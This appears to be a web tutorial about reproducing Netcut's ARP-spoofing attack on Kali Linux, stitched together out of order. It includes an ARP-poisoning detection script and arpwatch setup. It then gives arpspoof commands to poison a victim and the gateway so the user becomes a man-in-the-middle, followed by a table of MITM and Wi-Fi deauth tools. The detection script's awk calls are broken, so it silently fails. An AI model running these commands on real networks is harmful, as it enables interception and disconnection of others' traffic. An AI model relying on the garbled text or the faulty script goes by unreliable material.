Run this simple script to detect if you are being ARP poisoned:
#!/bin/bash
# Save as detect_arp.sh
GATEWAY_IP=$(ip route | grep default | awk 'print $3')
GATEWAY_MAC=$(arp -n | grep $GATEWAY_IP | awk 'print $3')
while true; do
CURRENT_MAC=$(arp -n | grep $GATEWAY_IP | awk 'print $3')
if [ "$GATEWAY_MAC" != "$CURRENT_MAC" ]; then
echo "ALERT: ARP Spoofing detected! Gateway MAC changed to $CURRENT_MAC"
fi
sleep 5
done
Monitor your network for changes in ARP tables.
sudo apt install arpwatch
sudo arpwatch -i eth0
It logs all MAC-to-IP changes to /var/log/syslog. If a Netcut attack starts, you'll see "flip flop" warnings.
Kali Linux is a distribution built from the ground up for professional security auditing. It ships with hundreds of native tools that do not rely on Wine (a Windows compatibility layer) or virtualized Windows environments. Running a Windows binary like Netcut on Kali introduces instability, performance overhead, and potential library conflicts. More critically, it undermines the educational purpose of Kali: to understand how network attacks work, not merely to click buttons.
To understand Netcut, you must understand the Address Resolution Protocol (ARP) . ARP is a fundamental protocol used to map an IP address (e.g., 192.168.1.5) to a physical MAC address (e.g., AA:BB:CC:DD:EE:FF).
bettercap is a more advanced framework that is actively maintained and offers a more stable connection than arpspoof.
Use arpspoof from the dsniff suite (install with sudo apt install dsniff).
Open Terminal 1 (Spoof victim to gateway):
sudo arpspoof -i eth0 -t 192.168.1.105 192.168.1.1
Open Terminal 2 (Spoof gateway to victim):
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.105
Congratulations. You are now the man-in-the-middle. This is the Linux equivalent of Netcut’s core engine.
| Tool | Purpose |
|------|---------|
| arpspoof (dsniff suite) | Redirect traffic or cut off a target by poisoning ARP cache |
| bettercap | Full featured MITM, network scanning, and deauth |
| Ettercap | Graphical & CLI ARP poisoning, packet sniffing |
| nmap | Network discovery (nmap -sn 192.168.1.0/24) |
| aireplay-ng | Deauth clients on Wi-Fi (wireless equivalent) |
ARP spoofing allows an attacker to see your traffic, but if the traffic is encrypted (HTTPS, VPN, SSH), they see only gibberish.
